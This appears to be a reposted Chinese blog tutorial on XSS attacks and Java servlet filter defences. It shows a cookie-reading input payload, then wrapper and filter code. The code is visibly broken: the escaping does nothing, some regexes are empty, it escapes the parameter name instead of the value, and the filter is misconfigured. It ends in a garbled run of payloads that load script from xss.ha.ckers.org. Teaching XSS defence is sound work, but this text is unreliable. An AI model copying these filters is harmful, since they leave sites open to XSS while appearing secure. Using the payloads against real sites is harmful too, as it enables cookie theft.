【安全系列之XSS】XSS攻击测试以及防御

跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script(php,js等)代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

攻击实例

下面为一个Input标签:

<input type="text" value="value"></input>
当用输入值为" οnfοcus="alert(document.cookie)  时,
input标签内容变为 <input type="text" value=""onfocus="alert(document.cookie)"></input>

当input中的可以执行的js脚本被存储到数据库中。用户再次取出显示时。就会取到用户的cookie。从而得到用户名和密码。
(1)添加用户
在这里插入图片描述
(2)数据库中存储可执行脚本
在这里插入图片描述
(3)编辑用户(XSS攻击发生)
在这里插入图片描述

攻击危害

以上获取用户名和密码只是个简单的xss攻击,还有跟多的XSS攻击实例。例如将用户导航到其他网站,后台挂马操作等

攻击预防

原理:主要采用过滤器对请求中的特殊字符进行编码转化。从而将可以执行的script代码变为不可以执行的script脚本存储到数据库中。一般的java后端采用filter种重写requestwrapper的形式来实现xss的过滤和替换
在这里插入图片描述
1、使用spring的HtmlUtils,可以使用StringEscapeUtils 中的过滤方法

/*** 解决XSS跨站脚本攻击和sql注入攻击,使用spring的HtmlUtils,可以使用StringEscapeUtils 中的过滤方法*/
public class XssSpringHttpServletRequestWrapper extends HttpServletRequestWrapper{public XssSpringHttpServletRequestWrapper(HttpServletRequest request) {super(request);}/*** 对数组参数进行特殊字符过滤*/@Overridepublic String[] getParameterValues(String name) {String[] values = super.getParameterValues(name);String[] newValues = new String[values.length];for (int i = 0; i < values.length; i++) {//spring的HtmlUtils进行转义newValues[i] = HtmlUtils.htmlEscape(values[i]);}return newValues;}/*** 拦截参数,并对其进行字符转义*/@Overridepublic String getParameter(String name) {return HtmlUtils.htmlEscape(name);}/*** 拦截参数,并对其进行字符转义*/@Overridepublic Object getAttribute(String name) {return HtmlUtils.htmlEscape(name);}
}

2、实现XSS过滤器

/*** spring方式xss过滤器*/
public class XssSpringFilter implements Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) request;chain.doFilter(new XssSpringHttpServletRequestWrapper(req), response);}@Overridepublic void destroy() {}}

3、配置XSS过滤器

<!-- spring方式的xss过滤器 -->
<filter><filter-name>xssSpringFilter</filter-name><filter-class>cn.aric.xss.XssSpringHttpServletRequestWrapper</filter-class>
</filter>
<filter-mapping><filter-name>xssSpringFilter</filter-name><url-pattern>/*

也可以自己实现一个xss的替换和过滤规则,注意如果要读取body参数的话,要注意流只能被读一次,因为read的指针已经移动到了文件末尾,会出现body找不到的情况这个时候你需要读取了inputStream之后,再将数据写回去

package com.yl.filter;import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;import org.springframework.beans.factory.parsing.ReaderEventListener;public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {boolean isUpData = false;//判断是否是上传 上传忽略public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {super(servletRequest);String contentType = servletRequest.getContentType ();if (null != contentType)isUpData =contentType.startsWith ("multipart");}@Overridepublic String[] getParameterValues(String parameter) {String[] values = super.getParameterValues(parameter);if (values==null)  {return null;}int count = values.length;String[] encodedValues = new String[count];for (int i = 0; i < count; i++) {encodedValues[i] = cleanXSS(values[i]);}return encodedValues;}@Overridepublic String getParameter(String parameter) {String value = super.getParameter(parameter);if (value == null) {return null;}return cleanXSS(value);}/*** 获取request的属性时,做xss过滤*/@Overridepublic Object getAttribute(String name) {Object value = super.getAttribute(name);if (null != value && value instanceof String) {value = cleanXSS((String) value);}return value;}@Overridepublic String getHeader(String name) {String value = super.getHeader(name);if (value == null)return null;return cleanXSS(value);}private  static  String cleanXSS(String value) {value = value.replaceAll("<", "<").replaceAll(">", ">");value = value.replaceAll("%3C", "<").replaceAll("%3E", ">");value = value.replaceAll("\\(", "(").replaceAll("\\)", ")");value = value.replaceAll("%28", "(").replaceAll("%29", ")");value = value.replaceAll("'", "'");value = value.replaceAll("eval\\((.*)\\)", "");value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");value = value.replaceAll("script", "");return value;}@Overridepublic ServletInputStream getInputStream () throws IOException {if (isUpData){return super.getInputStream ();}else{final ByteArrayInputStream bais = new ByteArrayInputStream(inputHandlers(super.getInputStream ()).getBytes ());return new ServletInputStream() {@Overridepublic int read() throws IOException {return bais.read();}public boolean isFinished() {return false;}public boolean isReady() {return false;}public void setReadListener(ReaderEventListener readListener) { }};}}public   String inputHandlers(ServletInputStream servletInputStream){StringBuilder sb = new StringBuilder();BufferedReader reader = null;try {reader = new BufferedReader(new InputStreamReader (servletInputStream, Charset.forName("UTF-8")));String line = "";while ((line = reader.readLine()) != null) {sb.append(line);}} catch (IOException e) {e.printStackTrace();} finally {if (servletInputStream != null) {try {servletInputStream.close();} catch (IOException e) {e.printStackTrace();}}if (reader != null) {try {reader.close();} catch (IOException e) {e.printStackTrace();}}}return  cleanXSS(sb.toString ());}
}

再贴一个xss的实现,使用正则匹配方式来实现过滤,但是这样也有可能出现正则漏洞攻击,但是安全这东西本身就是相对而言的。

 
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.util.regex.Pattern;public class XSSRequestWrapper extends HttpServletRequestWrapper {public XSSRequestWrapper(HttpServletRequest request) {super(request);}@Overridepublic String[] getParameterValues(String parameter) {String[] values = super.getParameterValues(parameter);if (values == null) {return null;}int count = values.length;String[] encodedValues = new String[count];for (int i = 0; i < count; i++) {encodedValues[i] = stripXSS(values[i]);}return encodedValues;}@Overridepublic String getParameter(String parameter) {String value = super.getParameter(parameter);return stripXSS(value);}@Overridepublic String getHeader(String name) {String value = super.getHeader(name);//return stripXSS(value);return value;}public String getQueryString() {String value = super.getQueryString();if (value != null) {value = stripXSS(value);}return value;}private String stripXSS(String value) {if (value != null) {// Avoid anything between script tagsPattern scriptPattern = Pattern.compile("", Pattern.CASE_INSENSITIVE);value = scriptPattern.matcher(value).replaceAll("");// Avoid anything in a// e­xpressionscriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);value = scriptPattern.matcher(value).replaceAll("");// Remove any lonesome  tagscriptPattern = Pattern.compile("", Pattern.CASE_INSENSITIVE);value = scriptPattern.matcher(value).replaceAll("");// Remove any lonesome <"<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT><IMG SRC="javascript.:alert('XSS')"<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT><SCRIPT>document.write(");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT><A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部